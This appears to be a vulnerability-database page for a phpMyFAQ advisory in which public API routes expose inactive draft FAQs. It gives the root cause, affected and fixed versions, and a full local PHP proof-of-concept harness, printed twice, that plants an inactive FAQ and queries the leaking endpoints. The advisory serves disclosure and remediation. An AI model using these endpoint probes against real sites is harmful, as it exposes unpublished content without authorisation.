GHSA-mf8r-wm2w-f8c5: Thorsten/phpmyfaq PhpMyFAQ Public FAQ APIs Expose Vulnerability

MODERATE
CVSS 5.3
CWE-200 CWE-863
Published
Advisory Summary

GHSA-mf8r-wm2w-f8c5 is a MODERATE (CVSS 5.3) phpmyfaq public faq apis expose vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq public faq apis expose inactive faq content. Remediation is available by upgrading affected packages to version 4.1.5.

GHSA-mf8r-wm2w-f8c5 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-mf8r-wm2w-f8c5
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Thorsten/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-mf8r-wm2w-f8c5

To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.1.5
Upgrade thorsten/phpmyfaq to 4.1.5
phpmyfaq/phpmyfaq fixed: 4.1.5
Upgrade phpmyfaq/phpmyfaq to 4.1.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by GHSA-mf8r-wm2w-f8c5, inspect your project dependencies for Thorsten/phpmyfaq:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Affected Product phpMyFAQ ## Affected Versions - Confirmed affected: 4.1.4, API v3.1. - Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`. ## Patched Versions 4.1.5. ## Description The public FAQ API applies inconsistent `active = 'yes'` filtering across endpoints. A FAQ entry marked `active = 'no'` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes: - `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer. - `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview. On the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering. Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content. ## Root Cause `FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters: ```sql fd.date_start <= now AND fd.date_end >= now AND fd.active = 'yes' ``` `FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`. `Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = 'yes'` or publication date windows before returning `record_title` and `record_preview`. In phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer. ## Proof of Concept The attached PoC uses phpMyFAQ's real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`. Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists: ```bash php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4 ``` Expected output: ```text phpMyFAQ version: 4.1.4 Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414 GET /api/v3.1/faqs/991414 status: 200 Category response contains inactive title: no GET /api/v3.1/faq/991414/991414 status: 200 Direct-by-id response contains inactive full title+answer: yes GET /api/v3.1/faqs/tags/991414 status: 200 Tag response contains inactive title+preview: yes VERDICT: reproduced inactive FAQ exposure through public API controller paths. ``` ## Suggested Fix Apply one consistent public visibility check across all public FAQ API routes: - `fd.active = 'yes'` - `fd.date_start <= now` - `fd.date_end >= now` Suggested implementation options: - Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes. - Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering. - Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests. - Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations. ## Reporter Credit Please credit: Yaohui Wang ## CVE Request Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria. ## Full PoC Source ~~~php <?php declare(strict_types=1); /* * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs. * * Usage from a phpMyFAQ 4.1.4 source checkout: * php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4 * * If no path is provided, the current working directory is used. * * This is a local-only defensive harness. It uses phpMyFAQ's real Composer * autoloader, real public API controller, and a temporary copy of tests/test.db. */ use phpMyFAQ\Configuration; use phpMyFAQ\Controller\Api\FaqController; use phpMyFAQ\Database; use phpMyFAQ\Database\DatabaseDriver; use phpMyFAQ\Language; use phpMyFAQ\Strings; use phpMyFAQ\System; use phpMyFAQ\Translation; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Session\Session; use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage; $repoRoot = $argv[1] ?? getcwd(); $repoRoot = realpath($repoRoot); if ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) { fwrite(STDERR, "Usage: php " . basename(__FILE__) . " /path/to/phpMyFAQ-4.1.4\n"); exit(2); } if (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) { fwrite(STDERR, "Missing phpmyfaq/src/autoload.php. Run composer install first.\n"); exit(2); } if (!is_file($repoRoot . '/tests/test.db')) { fwrite(STDERR, "Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n"); exit(2); } define('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq'); define('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config'); define('PMF_CONTENT_DIR', $repoRoot . '/tests/content'); define('PMF_TEST_DIR', $repoRoot . '/tests'); define('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log'); const IS_VALID_PHPMYFAQ = true; $_SERVER['HTTP_HOST'] = 'localhost'; $_SERVER['SERVER_NAME'] = 'localhost'; $_SERVER['REQUEST_TIME'] = time(); require PMF_ROOT_DIR . '/src/constants.php'; require PMF_ROOT_DIR . '/content/core/config/constants.php'; require PMF_ROOT_DIR . '/translations/language_en.php'; require PMF_ROOT_DIR . '/src/autoload.php'; function pocQuery(DatabaseDriver $db, string $sql): void { $result = $db->query($sql); if ($result === false) { throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql); } } $tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-'); if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) { fwrite(STDERR, "Cannot create temporary SQLite database.\n"); exit(2); } try { Strings::init(); Translation::create() ->setTranslationsDir(PMF_ROOT_DIR . '/translations') ->setDefaultLanguage('en') ->setCurrentLanguage('en') ->setMultiByteLanguage(); Database::setTablePrefix(''); $db = Database::factory('pdo_sqlite'); if (!$db instanceof DatabaseDriver) { throw new RuntimeException('Could not create PDO SQLite database driver.'); } $db->connect($tempDb, '', ''); $configuration = new Configuration($db); $configuration->getAll(); $configuration->set('api.enableAccess', 'true'); $configuration->set('main.currentVersion', System::getVersion()); $configuration->set('main.language', 'en'); $configuration->set('main.referenceURL', 'https://localhost/'); $configuration->set('security.enableLoginOnly', 'false'); $configuration->set('security.permLevel', 'basic'); $configuration->set('records.numberOfRecordsPerPage', '25'); $configuration->getAll(); $session = new Session(new MockArraySessionStorage()); $language = new Language($configuration, $session); $language->setLanguageFromConfiguration('en'); $configuration->setLanguage($language); $faqId = 991414; $tagId = 991414; $categoryId = 991414; $question = 'Inactive tagged API probe 4.1.4'; $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.'; pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId)); pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId)); pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId)); pocQuery($db, sprintf( "INSERT INTO faqdata (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order) VALUES (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)", $faqId, $faqId, $db->escape($question), $db->escape($answer), )); pocQuery($db, sprintf( "INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang) VALUES (%d, 'en', %d, 'en')", $categoryId, $faqId, )); pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId)); pocQuery($db, sprintf("INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)", $faqId)); pocQuery($db, sprintf("INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')", $tagId)); pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId)); $controller = new FaqController(); $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET'); $categoryRequest->attributes->set('categoryId', (string) $categoryId); $categoryResponse = $controller->getByCategoryId($categoryRequest); $categoryContainsProbe = str_contains((string) $categoryResponse->getContent(), $question); $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET'); $directRequest->attributes->set('categoryId', (string) $categoryId); $directRequest->attributes->set('faqId', (string) $faqId); $directResponse = $controller->getById($directRequest); $directContainsProbe = str_contains((string) $directResponse->getContent(), $question) && str_contains((string) $directResponse->getContent(), $answer); $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET'); $tagRequest->attributes->set('tagId', (string) $tagId); $tagResponse = $controller->getByTagId($tagRequest); $tagPayload = json_decode((string) $tagResponse->getContent(), true, 512, JSON_THROW_ON_ERROR); $tagContainsProbe = str_contains((string) $tagResponse->getContent(), $question) && str_contains((string) $tagResponse->getContent(), 'inactive FAQ preview'); echo "phpMyFAQ version: " . System::getVersion() . "\n"; echo "Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n"; echo "GET /api/v3.1/faqs/{$categoryId} status: " . $categoryResponse->getStatusCode() . "\n"; echo "Category response contains inactive title: " . ($categoryContainsProbe ? 'yes' : 'no') . "\n\n"; echo "GET /api/v3.1/faq/{$categoryId}/{$faqId} status: " . $directResponse->getStatusCode() . "\n"; echo "Direct-by-id response contains inactive full title+answer: " . ($directContainsProbe ? 'yes' : 'no') . "\n\n"; echo "GET /api/v3.1/faqs/tags/{$tagId} status: " . $tagResponse->getStatusCode() . "\n"; echo "Tag response contains inactive title+preview: " . ($tagContainsProbe ? 'yes' : 'no') . "\n"; echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n\n"; if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) { echo "VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n"; exit(0); } echo "VERDICT: not reproduced.\n"; exit(1); } finally { if (isset($tempDb) && is_file($tempDb)) { @unlink($tempDb); } } ~~~

GHSA-mf8r-wm2w-f8c5 Affected Thorsten/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.1.5
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
≥ 4.1.0
< 4.1.5
4.1.5
phpmyfaq/phpmyfaq
Packagist
≥ 4.1.0
< 4.1.5
4.1.5

References

Frequently Asked Questions

What is GHSA-mf8r-wm2w-f8c5?
GHSA-mf8r-wm2w-f8c5 is a security vulnerability in Thorsten/phpmyfaq involving phpMyFAQ public FAQ APIs expose inactive FAQ content under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Thorsten/phpmyfaq versions are affected?
Affected versions include releases prior to 4.1.5 across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes GHSA-mf8r-wm2w-f8c5?
Upgrading to 4.1.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.5. Upgrade your dependency to 4.1.5 or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.5. Upgrade your dependency to 4.1.5 or later.
What is the CVSS score of GHSA-mf8r-wm2w-f8c5?
GHSA-mf8r-wm2w-f8c5 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with GHSA-mf8r-wm2w-f8c5?
GHSA-mf8r-wm2w-f8c5 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check Packagist dependencies for GHSA-mf8r-wm2w-f8c5?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mf8r-wm2w-f8c5",
  "modified" : "2026-08-25T17:30:23Z",
  "published" : "2026-08-25T17:30:23Z",
  "aliases" : [ ],
  "summary" : "phpMyFAQ public FAQ APIs expose inactive FAQ content",
  "details" : "## Affected Product\n\nphpMyFAQ\n\n## Affected Versions\n\n- Confirmed affected: 4.1.4, API v3.1.\n- Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`.\n\n## Patched Versions\n\n4.1.5.\n\n## Description\n\nThe public FAQ API applies inconsistent `active = 'yes'` filtering across endpoints. A FAQ entry marked `active = 'no'` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:\n\n- `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer.\n- `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview.\n\nOn the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering.\n\nInactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.\n\n## Root Cause\n\n`FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters:\n\n```sql\nfd.date_start <= now\nAND fd.date_end >= now\nAND fd.active = 'yes'\n```\n\n`FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`.\n\n`Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = 'yes'` or publication date windows before returning `record_title` and `record_preview`.\n\nIn phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer.\n\n## Proof of Concept\n\nThe attached PoC uses phpMyFAQ's real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`.\n\nRun from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists:\n\n```bash\nphp poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n```\n\nExpected output:\n\n```text\nphpMyFAQ version: 4.1.4\nInserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414\n\nGET /api/v3.1/faqs/991414 status: 200\nCategory response contains inactive title: no\n\nGET /api/v3.1/faq/991414/991414 status: 200\nDirect-by-id response contains inactive full title+answer: yes\n\nGET /api/v3.1/faqs/tags/991414 status: 200\nTag response contains inactive title+preview: yes\n\nVERDICT: reproduced inactive FAQ exposure through public API controller paths.\n```\n\n## Suggested Fix\n\nApply one consistent public visibility check across all public FAQ API routes:\n\n- `fd.active = 'yes'`\n- `fd.date_start <= now`\n- `fd.date_end >= now`\n\nSuggested implementation options:\n\n- Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes.\n- Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering.\n- Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.\n- Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.\n\n## Reporter Credit\n\nPlease credit:\n\nYaohui Wang\n\n## CVE Request\n\nBecause this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.\n\n\n## Full PoC Source\n\n~~~php\n<?php\n\ndeclare(strict_types=1);\n\n/*\n * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.\n *\n * Usage from a phpMyFAQ 4.1.4 source checkout:\n *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n *\n * If no path is provided, the current working directory is used.\n *\n * This is a local-only defensive harness. It uses phpMyFAQ's real Composer\n * autoloader, real public API controller, and a temporary copy of tests/test.db.\n */\n\nuse phpMyFAQ\\Configuration;\nuse phpMyFAQ\\Controller\\Api\\FaqController;\nuse phpMyFAQ\\Database;\nuse phpMyFAQ\\Database\\DatabaseDriver;\nuse phpMyFAQ\\Language;\nuse phpMyFAQ\\Strings;\nuse phpMyFAQ\\System;\nuse phpMyFAQ\\Translation;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\Session\\Session;\nuse Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage;\n\n$repoRoot = $argv[1] ?? getcwd();\n$repoRoot = realpath($repoRoot);\nif ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) {\n    fwrite(STDERR, \"Usage: php \" . basename(__FILE__) . \" /path/to/phpMyFAQ-4.1.4\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) {\n    fwrite(STDERR, \"Missing phpmyfaq/src/autoload.php. Run composer install first.\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . '/tests/test.db')) {\n    fwrite(STDERR, \"Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\\n\");\n    exit(2);\n}\n\ndefine('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq');\ndefine('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config');\ndefine('PMF_CONTENT_DIR', $repoRoot . '/tests/content');\ndefine('PMF_TEST_DIR', $repoRoot . '/tests');\ndefine('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log');\nconst IS_VALID_PHPMYFAQ = true;\n\n$_SERVER['HTTP_HOST'] = 'localhost';\n$_SERVER['SERVER_NAME'] = 'localhost';\n$_SERVER['REQUEST_TIME'] = time();\n\nrequire PMF_ROOT_DIR . '/src/constants.php';\nrequire PMF_ROOT_DIR . '/content/core/config/constants.php';\nrequire PMF_ROOT_DIR . '/translations/language_en.php';\nrequire PMF_ROOT_DIR . '/src/autoload.php';\n\nfunction pocQuery(DatabaseDriver $db, string $sql): void\n{\n    $result = $db->query($sql);\n    if ($result === false) {\n        throw new RuntimeException('SQL failed: ' . $db->error() . \"\\nSQL: \" . $sql);\n    }\n}\n\n$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');\nif ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {\n    fwrite(STDERR, \"Cannot create temporary SQLite database.\\n\");\n    exit(2);\n}\n\ntry {\n    Strings::init();\n    Translation::create()\n        ->setTranslationsDir(PMF_ROOT_DIR . '/translations')\n        ->setDefaultLanguage('en')\n        ->setCurrentLanguage('en')\n        ->setMultiByteLanguage();\n\n    Database::setTablePrefix('');\n    $db = Database::factory('pdo_sqlite');\n    if (!$db instanceof DatabaseDriver) {\n        throw new RuntimeException('Could not create PDO SQLite database driver.');\n    }\n\n    $db->connect($tempDb, '', '');\n\n    $configuration = new Configuration($db);\n    $configuration->getAll();\n    $configuration->set('api.enableAccess', 'true');\n    $configuration->set('main.currentVersion', System::getVersion());\n    $configuration->set('main.language', 'en');\n    $configuration->set('main.referenceURL', 'https://localhost/');\n    $configuration->set('security.enableLoginOnly', 'false');\n    $configuration->set('security.permLevel', 'basic');\n    $configuration->set('records.numberOfRecordsPerPage', '25');\n    $configuration->getAll();\n\n    $session = new Session(new MockArraySessionStorage());\n    $language = new Language($configuration, $session);\n    $language->setLanguageFromConfiguration('en');\n    $configuration->setLanguage($language);\n\n    $faqId = 991414;\n    $tagId = 991414;\n    $categoryId = 991414;\n    $question = 'Inactive tagged API probe 4.1.4';\n    $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';\n\n    pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));\n    pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));\n    pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId));\n    pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId));\n\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqdata\n            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)\n         VALUES\n            (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)\",\n        $faqId,\n        $faqId,\n        $db->escape($question),\n        $db->escape($answer),\n    ));\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)\n         VALUES (%d, 'en', %d, 'en')\",\n        $categoryId,\n        $faqId,\n    ));\n    pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)\", $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')\", $tagId));\n    pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId));\n\n    $controller = new FaqController();\n\n    $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET');\n    $categoryRequest->attributes->set('categoryId', (string) $categoryId);\n    $categoryResponse = $controller->getByCategoryId($categoryRequest);\n    $categoryContainsProbe = str_contains((string) $categoryResponse->getContent(), $question);\n\n    $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET');\n    $directRequest->attributes->set('categoryId', (string) $categoryId);\n    $directRequest->attributes->set('faqId', (string) $faqId);\n    $directResponse = $controller->getById($directRequest);\n    $directContainsProbe = str_contains((string) $directResponse->getContent(), $question)\n        && str_contains((string) $directResponse->getContent(), $answer);\n\n    $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET');\n    $tagRequest->attributes->set('tagId', (string) $tagId);\n    $tagResponse = $controller->getByTagId($tagRequest);\n    $tagPayload = json_decode((string) $tagResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);\n    $tagContainsProbe = str_contains((string) $tagResponse->getContent(), $question)\n        && str_contains((string) $tagResponse->getContent(), 'inactive FAQ preview');\n\n    echo \"phpMyFAQ version: \" . System::getVersion() . \"\\n\";\n    echo \"Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\\n\\n\";\n    echo \"GET /api/v3.1/faqs/{$categoryId} status: \" . $categoryResponse->getStatusCode() . \"\\n\";\n    echo \"Category response contains inactive title: \" . ($categoryContainsProbe ? 'yes' : 'no') . \"\\n\\n\";\n    echo \"GET /api/v3.1/faq/{$categoryId}/{$faqId} status: \" . $directResponse->getStatusCode() . \"\\n\";\n    echo \"Direct-by-id response contains inactive full title+answer: \" . ($directContainsProbe ? 'yes' : 'no') . \"\\n\\n\";\n    echo \"GET /api/v3.1/faqs/tags/{$tagId} status: \" . $tagResponse->getStatusCode() . \"\\n\";\n    echo \"Tag response contains inactive title+preview: \" . ($tagContainsProbe ? 'yes' : 'no') . \"\\n\";\n    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . \"\\n\\n\";\n\n    if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) {\n        echo \"VERDICT: reproduced inactive FAQ exposure through public API controller paths.\\n\";\n        exit(0);\n    }\n\n    echo \"VERDICT: not reproduced.\\n\";\n    exit(1);\n} finally {\n    if (isset($tempDb) && is_file($tempDb)) {\n        @unlink($tempDb);\n    }\n}\n\n~~~",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.1.0"
      }, {
        "fixed" : "4.1.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.4"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.1.0"
      }, {
        "fixed" : "4.1.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-mf8r-wm2w-f8c5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/4c7e3f841ba6cb25564c6802509a669b0e328321"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/tree/4.1.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T17:30:23Z",
    "nvd_published_at" : null
  }
}